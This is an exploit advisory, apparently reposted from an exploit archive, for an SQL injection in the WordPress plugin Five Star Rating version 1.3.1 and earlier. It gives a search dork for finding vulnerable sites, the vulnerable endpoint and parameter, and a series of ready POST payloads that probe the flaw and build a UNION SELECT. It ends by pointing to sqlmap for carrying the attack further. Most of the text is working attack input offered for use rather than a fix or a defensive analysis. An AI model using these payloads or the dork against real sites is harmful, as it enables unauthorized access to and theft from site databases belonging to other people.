Wordpress Plugin Five Star Rating <=v1.3.1 SQL Injection Vulnerability

# Wordpress Plugin: 'Five Star Rating' <=v1.3.1 SQL Injection
# Dork: allinurl: plugins/five-star-rating
# Vendor Homepage: http://wordpress-plug.in/featured/five-star-rating/ (Old, not working)
# Version: <=1.3.1
# Tested on: 1.3.1
# Date: 27/09/12
# Exploit Author: localh0t
# Contact: [email protected]
# Follow: @mattdch
# www.localh0t.com.ar


Go to http://website.com/wp-content/plugins/five-star-rating/fsr-ajax-stars.php (GET). Hit F5 (refresh) and do a random vote. Sniff the request with an HTTP headers sniffer (Like Live HTTP headers).

You will see a POST like this (it may be a little different):

	fsr_stars=1&p=&starType=star&vote=Voting

Variable 'p' is vulnerable. Set it to 1 and start playing (All request's must be POST requests). Number of columns is 2:

	fsr_stars=1&p=1 and 1=1&starType=star&vote=Voting
	fsr_stars=1&p=1 and 1=0&starType=star&vote=Voting
	fsr_stars=1&p=1 order by 1&starType=star&vote=Voting
	fsr_stars=1&p=1 order by 2&starType=star&vote=Voting
	fsr_stars=1&p=1 and 1=0 union select 1,2&starType=star&vote=Voting
	[...]

If you continue the injection with a tool like sqlmap, remember to use the --cookie parameter (or similar) with the cookie you saw in the previous sniffed requests.

Have phun.



#  0day.today [2018-01-08]  #